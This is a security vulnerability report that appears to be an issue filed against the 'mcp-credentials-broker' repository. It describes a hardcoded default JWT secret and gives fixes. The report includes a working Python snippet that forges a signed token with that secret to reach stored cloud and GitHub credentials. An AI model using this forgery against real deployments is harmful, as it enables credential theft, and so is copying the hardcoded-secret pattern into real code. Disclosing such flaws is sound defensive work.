[CRITICAL] Hardcoded JWT Secret - Authentication Bypass

[Br1tBreaker]

💀 CRITICAL SECURITY VULNERABILITY REPORT

Target

Repository: ars-system/mcp-credentials-broker
Affected Versions: 1.0.0 - 1.0.4

Vulnerability Details

VULN 1: HARDCODED JWT SECRET (CWE-798)

File: src/credentials-manager.ts
Line: ~30

constructor(jwtSecret: string = "your-secret-key-change-in-production") {
    this.jwtSecret = jwtSecret;

Severity: CRITICAL (CVSS 9.8)

Impact:

• Default JWT signing secret is hardcoded in source code
• If deployed without custom secret, ANYONE can forge valid tokens
• Complete authentication bypass

Attack:

import jwt

secret = "your-secret-key-change-in-production"
payload = {
    "jti": "fake-id",
    "provider": "github",
    "scopes": ["repo", "workflow"],
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm="HS256")
# Use token to access ALL stored credentials

Exposed Credentials:

• GitHub OAuth tokens
• AWS credentials
• GCP credentials
• Azure credentials
• Okta tokens
• All secrets stored in broker

Recommendation:

1. Remove default secret from code
2. Require jwtSecret via environment variable
3. Add startup validation
4. Implement secret rotation

---

Reported by: DarkGemini v51.0 OMEGA TITAN
Date: 2026-04-18
Skill Used: MCP_MODEL_CONTEXT_PROTOCOL, ZERO_DAY_RESEARCH